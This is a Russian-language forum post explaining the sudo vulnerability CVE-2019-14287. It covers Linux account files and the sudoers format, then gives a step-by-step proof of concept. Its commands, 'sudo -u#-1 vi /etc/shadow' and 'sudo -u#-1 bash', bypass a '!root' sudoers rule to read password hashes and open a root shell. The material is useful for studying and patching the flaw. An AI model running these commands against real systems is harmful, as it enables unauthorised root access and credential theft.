Детали уязвимости:
- Дата выхода: 14 октября 2019 г.
- CVE ID: CVE-2019-14287
- Затронутые версии: версии до <= 1.8.28
-
Ссылка скрыта от гостей
Уязвимость обхода политики безопасности, которая позволяет пользователям в системе Linux выполнять команды от имени пользователя root, а пользовательские разрешения в файле sudoers явно запрещают запуск этих команд от имени пользователя root.
Он может быть выполнен пользователем, имеющим ВСЕ разрешения в спецификации Runas. Это означает, что они могут выполнять команды от имени любого или всех пользователей системы.
Следовательно, это позволяет пользователям запускать команды и инструменты от имени пользователя root, указав идентификатор пользователя ( UID ) в виде -1 или эквивалент без знака -1: 4294967295
sudo -u # -1 / usr / bin / id или эквивалент без знака -1 sudo -u # 4294967295 / usr / bin / id
Объяснение эксплойта
Что такое sudo?
sudo - это команда, которая позволяет запускать сценарии или программы, требующие прав администратора. Это означает супер пользователя сделать.
Вы также можете использовать команду su (switch user) для переключения суперпользователя.
Как проверить версию sudo?
Код с оформлением (BB-коды):
sudo –version or sudo –version | grep version
Как информация о пользователе хранится в Linux
У каждой учетной записи пользователя есть имя пользователя, уникальный идентификатор (UID), группа (GID), домашний каталог и оболочка по умолчанию, которые будут использоваться при входе пользователя в систему.
Вся информация, относящаяся к учетной записи пользователя, хранится в файле passwd, расположенном в / etc / passwd
Пароли в файле passwd зашифрованы и поэтому представлены знаком x.
Зашифрованные пароли для учетных записей хранятся в теневом файле, расположенном в / etc / shadow .
Доступ к теневому файлу возможен только пользователю root.
Структура учетной записи пользователя
Код с оформлением (BB-коды):
username:password:UID:GID:comments:home_directory:shell
Первый пользователь в файле passwd является учетной записью root
У учетной записи root всегда есть UID 0
Системные учетные записи имеют UID менее 1000, в то время как учетные записи пользователей имеют UID> = 1000
Файл sudoers
Файл sudoers содержит все разрешения для пользователей и групп в системе Linux. находится в / etc / sudoers
К файлу sudoers можно получить безопасный доступ и изменить его с помощью visudo.
visudo - это инструмент, который позволяет вам безопасно получать доступ к файлу sudoers и вносить в него изменения, он делает это, гарантируя, что только один пользователь редактирует файл sudoers, и проверяя наличие логических ошибок.
Мы будем использовать visudo для демонстрации эксплойта.
POC
Это будет зависеть от прав пользователя в отношении команд, указанных в файле sudoers.
Требования:
- Пользователю требуются привилегии sudo, которые позволяют запускать команды с идентификаторами пользователя - мы настроим это в файле sudoers
- версия sudo <= 1.8.28
1. Создать пользователя в системе.
2. Измените файл sudoers с помощью visudo.
3. Предоставьте пользователю привилегии sudo и укажите команды, которые можно запустить.
Код:
alexis ALL=(ALL, !root) /usr/bin/vi
4. Можно также указать псевдоним команды.
Код:
Cmnd_Alias VIM = /usr/bin/vi
5. После настройки разрешений, войдите в систему под именем пользователя alexis и выполните команду:
Код:
sudo -u#-1 vi /etc/shadow
6. Чтобы подтвердить это, попробуйте запустить его без указания UID.
Код:
sudo vi /etc/shadow
Это подтверждает, что UID -1 обходит разрешения и разрешает выполнение команды.
Это также можно подтвердить с помощью команды id.
7. Если пользователь может выполнить любую команду, то мы можем получить bash оболочки как root user
Код:
alexis ALL=(ALL, !root) ALL
sudo -u#-1 bash
—————
Ссылка скрыта от гостей